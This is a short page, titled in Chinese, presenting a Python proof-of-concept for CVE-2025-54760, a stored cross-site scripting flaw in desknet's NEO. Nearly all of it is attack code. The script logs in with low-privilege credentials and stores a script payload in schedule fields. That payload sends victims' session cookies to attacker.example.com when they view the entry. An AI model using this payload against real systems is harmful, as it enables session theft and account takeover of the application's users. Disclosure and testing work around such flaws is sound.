CVE-2025-54760：desknet's NEO 存储型跨站脚本漏洞

# CVE-2025-54760 - Stored XSS PoC for desknet's NEO V9.0R2.0 and earlier # Exploit: Inject malicious JavaScript into user-controllable input fields # The payload will be stored on the server and executed when victims view the affected page import requests TARGET_URL = "https://target-desknets-neo.example.com" LOGIN_URL = f"{TARGET_URL}/login" SUBMIT_URL = f"{TARGET_URL}/schedule/edit" # Example endpoint accepting user input # Step 1: Authenticate with low-privilege credentials session = requests.Session() login_payload = { "username": "attacker_user", "password": "attacker_password" } session.post(LOGIN_URL, data=login_payload) # Step 2: Submit malicious JavaScript payload via a stored input field # The application fails to sanitize HTML/JS in this input, storing it as-is xss_payload = ( '"\'><img src=x onerror=alert(String.fromCharCode(88,83,83))>' '<script>document.location="https://attacker.example.com/steal?c="+document.cookie</script>' ) stored_payload = { "title": xss_payload, "description": xss_payload, "content": xss_payload, "schedule_date": "2025-12-31" } response = session.post(SUBMIT_URL, data=stored_payload) if response.status_code == 200: print("[+] Malicious payload stored successfully on the server.") print("[+] When a victim views this schedule entry, the JavaScript will execute.") else: print(f"[-] Failed to store payload. Status code: {response.status_code}") # Step 3: Exfiltration listener (on attacker.example.com) would receive: # GET /steal?c=<victim_session_cookie>